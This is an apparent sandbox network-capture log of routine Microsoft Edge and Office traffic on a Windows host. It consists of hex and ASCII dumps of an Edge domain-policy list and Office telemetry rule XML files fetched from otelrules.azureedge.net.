2024-10-30 17:06:36 UTC	16384	IN	Data Raw: 2e 69 6f 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 74 6f 70 68 61 74 2e 63 6f 6d 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 68 6f 6d 65 2e 69 62 6f 74 74 61 2e 63 6f 6d 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 76 61 63 63 69 6e 65 72 65 67 2e 68 65 61 6c 74 68 2e 6e 64 2e 67 6f 76 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 63 6f 6d 61 73 73 76 61 78 2e 6f 72 67 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 Data Ascii: .io","applied_policy":"ChromeUA"},{"domain":"tophat.com","applied_policy":"ChromeUA"},{"domain":"home.ibotta.com","applied_policy":"ChromeUA"},{"domain":"vaccinereg.health.nd.gov","applied_policy":"ChromeUA"},{"domain":"www.comassvax.org","applied_policy"
2024-10-30 17:06:36 UTC	10108	IN	Data Raw: 22 3a 22 72 69 63 68 70 61 6c 6d 73 2d 70 72 6f 6d 6f 2e 63 6f 6d 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 33 6d 69 6e 2d 63 6c 61 73 73 2e 6f 66 66 63 6e 2e 6d 6f 62 69 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 6d 61 69 6c 2e 6e 61 74 65 2e 63 6f 6d 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 66 69 74 6e 65 73 73 74 65 73 74 2e 78 74 75 2e 65 64 75 2e Data Ascii: ":"richpalms-promo.com","applied_policy":"ChromeUA"},{"domain":"booking.com","applied_policy":"ChromeUA"},{"domain":"3min-class.offcn.mobi","applied_policy":"ChromeUA"},{"domain":"mail.nate.com","applied_policy":"ChromeUA"},{"domain":"fitnesstest.xtu.edu.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49750	94.245.104.56	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:36 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 17:06:38 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Wed, 30 Oct 2024 17:06:38 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=b65d9106bc81838a23d8a3edd144c8dcf94d11cfa7af5eb97996169fda12e5cf;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=b65d9106bc81838a23d8a3edd144c8dcf94d11cfa7af5eb97996169fda12e5cf;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49762	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:36 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:36 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 67fffc2c-401e-000a-5dae-264a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170636Z-r1755647c66ljccje5cnds62nc000000070g000000007ey4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:36 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49759	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:36 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:36 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 338c7fbe-d01e-0028-7d3c-287896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170636Z-17fbfdc98bb2xwflv0w9dps90c000000094g0000000066f6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:36 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49761	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:36 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:36 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: c80232df-501e-00a3-48ae-26c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170636Z-r1755647c66w6f6b5182nn0u0400000006v0000000002f16 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:36 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49760	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:36 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:36 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 4f99c795-b01e-0097-3bfd-274f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170636Z-17fbfdc98bbl4n669ut4r27e0800000007vg00000000a3c5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:36 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49758	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:36 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:36 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: bfc21b6c-401e-0067-2636-2809c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170636Z-17fbfdc98bbnsg5pw6rasm3q8s00000008tg0000000028et x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:36 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49770	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:37 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:37 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:37 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 1089ebf2-001e-0028-530d-27c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170637Z-r1755647c66z4xgb5rng8h32e800000007a0000000003zer x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 17:06:37 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49767	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:37 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:37 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 789f6287-101e-0065-355f-284088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170637Z-17fbfdc98bbx59j5xd9kpbrs8400000007rg0000000083em x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:37 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49768	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:37 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:37 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 0883ffbf-f01e-001f-3811-295dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170637Z-r1755647c66w6f6b5182nn0u0400000006u0000000003dn0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:37 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49771	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:37 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:37 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:37 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: ae9ca414-101e-008d-470d-2692e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170637Z-17fbfdc98bb9cv5m0pampz446s00000007tg000000002h2t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 17:06:37 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49769	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:37 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:37 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 08308beb-701e-001e-43b0-26f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170637Z-r1755647c66gqcpzhw8q9nhnq0000000090g000000007y18 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:37 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49787	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
